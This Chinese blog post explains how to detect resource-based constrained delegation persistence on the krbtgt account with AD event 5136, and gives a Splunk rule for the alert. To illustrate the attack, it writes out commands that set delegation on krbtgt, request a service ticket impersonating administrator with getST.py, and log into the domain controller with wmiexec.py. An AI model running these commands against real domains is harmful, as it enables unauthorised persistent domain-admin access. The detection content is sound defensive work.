基于AD Event日志监测基于资源的约束委派攻击
原创
©著作权归作者所有:来自51CTO博客作者Bypass007的原创作品,请联系作者获取转载授权,否则将追究法律责任
01、简介
攻击者在获取到域控权限后,可以利用基于资源的约束委派实现后门,通过对krbtgt用户设置委派属性,以实现达到维持权限的目的。基于AD Event日志监测msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改,从而发现可疑的基于资源的约束委派攻击。
02、利用方式
(1)设置属性值并查询
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
(2)获取ST,并使用wmiexec登录域控
python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136
03、检测方法
攻击手法的核心点在于攻击者需要修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,因此我们只需要检测对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改,可以通过5136日志来监控。
5136事件:每次修改 Active Directory 对象时,都会生成此事件,包含帐户名称、目录服务对象名称、属性和操作类型。
安全规则:
index=ad EventCode=5136 "LDAP 显示名称"="msDS-AllowedToActOnBehalfOfOtherIdentity"
| rename 类型 as type | eval type=mvindex(type,1)
| stats min(_time) as start_time max(_time) as end_time count by ComputerName user DN type
| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | eval message="在"+start_time+"到"+end_time+"时间内,服务器:"+ComputerName +"疑似遭基于资源的约束委派攻击"+count+"次,操作账号:"+user+" 操作对象:"+DN+" 操作类型:"+type
| table start_time end_time user message
效果如下: